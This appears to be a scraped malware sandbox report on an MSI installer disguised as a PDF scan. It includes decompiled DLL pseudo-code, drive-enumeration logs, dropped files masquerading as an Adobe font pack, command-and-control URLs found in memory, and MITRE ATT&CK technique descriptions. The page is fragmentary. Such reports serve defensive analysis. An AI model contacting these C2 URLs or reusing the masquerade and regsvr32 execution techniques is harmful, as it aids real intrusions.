				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						E6DAE3A9B(_t48);
						E6DAE34E2(_t48, _t57, 0, 0x6daf5418, 0, 0x6daf5418, 0x104);
						_t26 =  *0x6daf59b8; // 0x2ea32d0
						 *0x6daf59a8 = 0x6daf5418;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x6daf5418;
							_v20 = 0x6daf5418;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E6DADF392(E6DADF21E( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E6DADF21E( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E6DAE33D5(_t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x6daf59ac = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x6daf59b0 = _t58;
											L18:
											E6DAE10BE(_t37);
											_v12 = 0;
											L19:
											E6DAE10BE(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x6daf59ac = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x6daf59b0 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E6DAE02B2(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E6DAE02B2(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E6DADD63C();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x6dadf0e8
0x6dadf0f1
0x6dadf0f6
0x6dadf100
0x6dadf103
0x6dadf120
0x6dadf121
0x6dadf134
0x6dadf139
0x6dadf141
0x6dadf147
0x6dadf14a
0x6dadf14c
0x6dadf153
0x6dadf153
0x6dadf155
0x6dadf158
0x6dadf15b
0x6dadf162
0x6dadf17b
0x6dadf180
0x6dadf182
0x6dadf1a3
0x6dadf1ab
0x6dadf1ae
0x6dadf1c9
0x6dadf1cc
0x6dadf1d3
0x6dadf1d7
0x6dadf1d9
0x6dadf1e0
0x6dadf1e3
0x6dadf1e5
0x6dadf1e7
0x6dadf1e9
0x6dadf1f3
0x6dadf1f3
0x6dadf1f5
0x6dadf1fb
0x6dadf1fe
0x6dadf200
0x6dadf206
0x6dadf207
0x6dadf20d
0x6dadf210
0x6dadf211
0x6dadf217
0x6dadf21a
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadf1eb
0x6dadf1eb
0x6dadf1eb
0x6dadf1ee
0x6dadf1ef
0x6dadf1ef
0x00000000
0x6dadf1eb
0x6dadf1db
0x00000000
0x6dadf1db
0x6dadf1b3
0x6dadf1b3
0x6dadf1b4
0x6dadf1b9
0x6dadf1bb
0x6dadf1bd
0x6dadf1c2
0x6dadf1c2
0x00000000
0x6dadf1c2
0x6dadf184
0x6dadf189
0x6dadf18b
0x6dadf18c
0x00000000
0x6dadf18c
0x6dadf14e
0x6dadf151
0x00000000
0x00000000
0x00000000
0x6dadf151
0x6dadf105
0x6dadf108
0x00000000
0x00000000
0x6dadf10a
0x6dadf111
0x6dadf112
0x6dadf114
0x6dadf119
0x00000000
0x6dadf119
0x00000000

Strings

C:\Windows\SysWOW64\regsvr32.exe, xrefs: 6DADF12B, 6DADF132, 6DADF168

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\regsvr32.exe
API String ID: 0-3922119987
Opcode ID: 0d241a66f3b4d350b65a1ffdddd049b49ef45b6f200ef43306e73610c553ceae
Instruction ID: 733f17d650efc68e78b466e32bc4d090f7d9d258852e8f75992b2df766091575
Opcode Fuzzy Hash: 0d241a66f3b4d350b65a1ffdddd049b49ef45b6f200ef43306e73610c553ceae
Instruction Fuzzy Hash: A341A275A0C395ABDB51DB99DD80AAFBBB8EB85310B15806AF60497240D7708AC1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6DADB080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DADB080(intOrPtr* __ecx, void* __eflags) {
				intOrPtr* _t13;

				_t13 = __ecx;
				E6DADB0D3(__ecx);
				 *__ecx = 0x38;
				 *((intOrPtr*)(__ecx + 8)) = 0x6da90000;
				 *((intOrPtr*)(__ecx + 4)) = 0x6da90000;
				 *((intOrPtr*)(__ecx + 0xc)) = 0xe00;
				 *((intOrPtr*)(__ecx + 0x10)) = 0x6daec284;
				if(E6DA96880(__ecx + 0x14) < 0) {
					if(IsDebuggerPresent() != 0) {
						OutputDebugStringW(L"ERROR : Unable to initialize critical section in CAtlBaseModule\n");
					}
					 *0x6daf4aa0 = 1;
				}
				return _t13;
			}

0x6dadb081
0x6dadb083
0x6dadb08d
0x6dadb096
0x6dadb099
0x6dadb09c
0x6dadb0a3
0x6dadb0b1
0x6dadb0bb
0x6dadb0c2
0x6dadb0c2
0x6dadb0c8
0x6dadb0c8
0x6dadb0d2

APIs

Part of subcall function 6DA96880: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000), ref: 6DA96898
Part of subcall function 6DA96880: GetLastError.KERNEL32 ref: 6DA968A2

IsDebuggerPresent.KERNEL32(?,?,?,6DA9124A), ref: 6DADB0B3
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,6DA9124A), ref: 6DADB0C2

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 6DADB0BD

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 7319a7cafec93ce9fc3121bd20ae698ad80449437be90210e51505986bfe0713
Instruction ID: c42573e355d50abd35aff44f117b6402ab59d9197e6b2c5b32b1f41cdec3701a
Opcode Fuzzy Hash: 7319a7cafec93ce9fc3121bd20ae698ad80449437be90210e51505986bfe0713
Instruction Fuzzy Hash: ACE0657050C7018FD3A0AF68E104742BFF4AF06784F088A1CD8A6CB640EBB4D0C8CBA2

Uniqueness

Uniqueness Score: -1.00%

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: regsvr32.exe	String found in binary or memory: http://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/home.aspx
Source: regsvr32.exe	String found in binary or memory: http://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx
Source: regsvr32.exe	String found in binary or memory: https://collectiontelemetrysystem.com/m8YYdu/mCQ2U9/auth.aspx
Source: regsvr32.exe	String found in binary or memory: https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/auth.aspx
Source: regsvr32.exe	String found in binary or memory: https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/home.aspx

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SCAN-068589.pdf.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6ecb58.rbs

C:\Users\user\AppData\Local\AdobeFontPack\main.dll

C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs

C:\Users\user\AppData\Local\x86\5507.nls

C:\Windows\Installer\6ecb57.msi

C:\Windows\Installer\6ecb59.msi

C:\Windows\Installer\MSID0D5.tmp

C:\Windows\Installer\SourceHash{CC038BA5-7236-4713-8948-DFF082243638}

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

C:\Windows\Temp\~DF32CC1CCDA67698BF.TMP

C:\Windows\Temp\~DF451B68AA611F0002.TMP

C:\Windows\Temp\~DF554ED6AEAE1695CB.TMP

C:\Windows\Temp\~DF5D62286770078C98.TMP

C:\Windows\Temp\~DFAE475F7BF35B51FF.TMP

C:\Windows\Temp\~DFB6CC71FD7302A57F.TMP

C:\Windows\Temp\~DFB854D5FFFE3393EB.TMP

C:\Windows\Temp\~DFBD7FC4C706A2923E.TMP

C:\Windows\Temp\~DFC1AF1F970900AA0D.TMP

Windows Analysis Report
SCAN-068589.pdf.msi

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre